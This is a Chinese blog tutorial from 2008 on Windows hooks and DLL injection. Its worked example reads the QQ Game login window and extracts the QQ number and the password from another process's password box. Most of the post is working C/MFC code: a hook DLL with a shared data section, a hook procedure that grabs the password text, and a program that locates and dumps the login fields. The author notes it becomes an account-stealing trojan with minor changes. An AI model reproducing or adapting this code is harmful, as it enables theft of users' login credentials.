HOOK&DLL編寫

//通過HOOK獲取QQ遊戲登錄密碼
//by redice 2008.7.19
//[email protected]


聲明:本文章只爲學習,文章提到的內容早就不能盜取QQ密碼~~

不是什麼新鮮貨了,只是想重溫一下鉤子及 DLL的編寫...

先發個程序運行效果圖:
 

不得不先說一下API函數SendMessage:

使用SendMessage向編輯框窗口發送WM_GETTEST消息,可以輕易獲取到編輯框的內容(就算這個窗口不屬於同一進程)。
但是有一個特例,那就是當編輯框窗口具有ES_PASSWORD風格(即密碼輸入框)且不輸入同一進程時,使用上面的方法就失效了。
通俗的說,就是當你要使用SendMessage讀取的密碼框不屬於同一個進程時,是讀取不到任何內容的。
這也許是微軟從安全角度考慮做的手腳吧。

如何解決這個問題?
如果我們能將SendMessage放到目標進程中執行問題就解決了。因爲屬於同一個進程時使用SendMessage是可以讀取到密碼框的內容的。
如何將SendMessage放到目標進程中執行呢?使用HOOK(或者進程注入)。

關於鉤子(HOOK)

鉤子(Hook),是Windows消息處理機制的一個平臺,應用程序可以在上面設置子程以監視指定窗口的某種消息,而且所監視的窗口可以是其他進程所創建的。
當消息到達後,在目標窗口處理函數之前處理它。鉤子機制允許應用程序截獲處理window消息或特定事件。
鉤子實際上是一個處理消息的程序段,通過系統調用,把它掛入系統。每當特定的消息發出,在沒有到達目的窗口前,鉤子程序就先捕獲該消息,亦即鉤子函數先得到控制權。

這時鉤子函數即可以加工處理(改變)該消息,也可以不作處理而繼續傳遞該消息,還可以強制結束消息的傳遞。

如何安裝一個鉤子?


使用API函數SetWindowsHookEx,原型及參數說明如下
HHOOK SetWindowsHookEx(
int idHook, // 鉤子的類型,本例採用WH_CALLWNDPROC(窗口過程鉤子)
HOOKPROC lpfn, // 鉤子函數地址(即鉤子函數的函數名)
HINSTANCE hMod, // 鉤子函數所在的應用程序實例句柄,(本例爲DLL的句柄)
DWORD dwThreadId // 目標線程ID,即鉤子的宿主線程
);
注意:當最後一個參數爲0時表示安裝的是全局鉤子,此時要求鉤子函數必須要在DLL中。
MSDN上關於這個函數的說明很詳細的。

準備活動做完了。下面是本程序的實現:


(1) GetWindowTextRemote.DLL


該DLL導出了一個函數GetWindowTextRemote,其它應用程序通過調用這個函數就能實現對其它應用程序密碼編輯框內容的讀取。

//-------------------------------------------------------
// GetWindowTextRemote
// 插入本DLL到遠程進程
// 從遠程編輯框控件中獲取密碼
//
// 返回值:讀取到的密碼字符數
//-------------------------------------------------------
__declspec(dllexport) int GetWindowTextRemote(HWND hWnd, LPSTR lpString)
{
g_hWnd = hWnd;
//給目標進程安裝一個窗口過程鉤子
g_hHook = SetWindowsHookEx(WH_CALLWNDPROC,(HOOKPROC)HookProc,
hDll, GetWindowThreadProcessId(hWnd,NULL) );
if( g_hHook==NULL ) {
lpString[0] = '/0';
return 0;
}
//註冊一個消息,用於通知遠程進程讀取密碼
if (WM_HOOKSPY == 0)
WM_HOOKSPY = RegisterWindowMessage( "WM_HOOKSPY_RK" );

// 向遠程進程發送讀取消息,觸發其讀取密碼
SendMessage( hWnd,WM_HOOKSPY,0,0 );
strcpy( lpString,g_szPassword );

return strlen(lpString);
}

另一個重要的函數就是鉤子過程了:
//-------------------------------------------------------
// HookProc
// 由遠程進程執行
//-------------------------------------------------------
#define pCW ((CWPSTRUCT*)lParam)

LRESULT HookProc (
int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
)
{
//接收到讀取密碼消息
if( pCW->message == WM_HOOKSPY ) {
MessageBeep(MB_OK);
//讀取密碼編輯框的內容
SendMessage( g_hWnd,WM_GETTEXT,128,(LPARAM)g_szPassword );
//卸載鉤子
UnhookWindowsHookEx(g_hHook );
}
//將消息處理權轉讓給下一個鉤子函數
return CallNextHookEx(g_hHook, code, wParam, lParam);
}

注意:安裝Hook的進程加載DLL,別的進程在運行的過程中,由系統在該進程空間注入這個DLL。所謂注入就是把Hook DLL的執行代碼映射到這個進程的內存空間。
雖然進程有若干個,可是該DLL的執行代碼只有一份。
不同的進程全局Hook DLL的執行代碼是共享的,可是全局變量並不共享(這樣可以實現某種程度的隔離,對於增進系統的穩定性和安全性是很有必要的)。

但是如果全局變量不共享,進程通信就會受限,比如本例中,在目標進程中使用SendMessage獲取到的密碼如何傳遞給安裝HOOK的進程就是一個問題?

解決這個問題的方法就是使用共享節,通過共享節可以使全部變量實現共享。如下所示:

//-------------------------------------------------------
// 共享數據區
// 共享數據區中的數據在DLL被映射的進程中都是共享的
//-------------------------------------------------------
#pragma data_seg (".shared")
HWND g_hWnd = 0; //要讀取的編輯框控件句柄
HHOOK g_hHook = 0; //HOOK句柄
UINT WM_HOOKSPY = 0; //自定義消息,通知遠程進程讀取編輯框控件的內容
char g_szPassword [256] = { '/0' }; //保存編輯框控件的緩存區
#pragma data_seg ()

使用共享節時要添加如下的鏈接選項:
#pragma comment(linker,"/SECTION:.shared,RWS")

到此,DLL的內就結束了。
在此特別感謝codeproject的Robert Kuster,如果不是看了他的《Three Ways to Inject Your Code into Another Process》,也不會有我的這篇日誌。
完整的代碼在附件中。


(2)測試程序-獲取QQ遊戲登錄密碼


接下來就是我們的測試程序了,這個測試程序實現的功能就是“獲得QQ遊戲登錄框中的QQ號和密碼”,這是一個MFC程序,關鍵代碼如下所示:

我爲什麼不獲取QQ聊天登錄窗口上的密碼而要獲取QQ遊戲登錄窗口上的QQ密碼呢?
這是因爲QQ聊天登錄時,QQ程序做了特殊處理(Nprotect鍵盤加密技術),使用HOOK也是讀取不到密碼的。但QQ遊戲登錄時卻沒有這樣的保護。

//先獲取QQ遊戲登錄窗口的句柄,然後遍歷子窗口,查找號碼輸入框和密碼輸入框
void CGetWindowTextRemoteTestDlg::OnGetremotetext()
{
HWND parenthwnd=0;
HWND childhwnd=0;
DWORD style=0;
char tempbuf[256]={0};
//獲取QQ遊戲登錄窗口句柄
parenthwnd=::FindWindow(NULL,"QQ遊戲");
if(parenthwnd)
{
//遍歷子窗口,查找QQ號和密碼輸入框
childhwnd=::GetWindow(parenthwnd,GW_CHILD);
childhwnd=::GetWindow(childhwnd,GW_HWNDFIRST);
while(childhwnd)
{
memset(tempbuf,0,256);
::GetClassName(childhwnd,tempbuf,256);
style=::GetWindowLong(childhwnd,GWL_STYLE);
//號碼輸入框
//遠程進程的非密碼框內容可以直接採用SendMessage發送WM_GETTEXT獲取到
if(0x50010202==style)//號碼輸入框的樣式是0x50010202,這是使用Spy++查看得知的。
{
memset(tempbuf,0,256);
::SendMessage(childhwnd,WM_GETTEXT,256,(LPARAM)tempbuf);
this->SetDlgItemText(IDC_NUMBER,tempbuf);
}
//密碼輸入框
//遠程進程的密碼框內容採用HOOK WH_CALLWNDPROC獲取
if(0x52010020==style)
{
Getremotetext(childhwnd,tempbuf);
this->SetDlgItemText(IDC_PASSWORD,tempbuf);
}
childhwnd=::GetWindow(childhwnd,GW_HWNDNEXT);
}
}
}
//動態調用GetWindowTextRemote.DLL中的GetWindowTextRemote函數讀取遠程進程的密碼編輯框內容
int Getremotetext(HWND hwnd,LPSTR tempbuf)
{
typedef int ( *GetWindowTextRemote)(HWND hWnd, LPSTR lpString);
GetWindowTextRemote getwindowtextremote=NULL;
HINSTANCE hDll=0;
int ret=0;
hDll=::LoadLibrary("GetWindowTextRemote.dll");
getwindowtextremote=(GetWindowTextRemote)::GetProcAddress(hDll,"GetWindowTextRemote");
ret=getwindowtextremote(hwnd,tempbuf);
return ret;
}


ok,到這裏全部結束了。這個程序做一修改就是個盜號木馬。寫這篇日誌僅作交流,本人不承擔任何責任。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章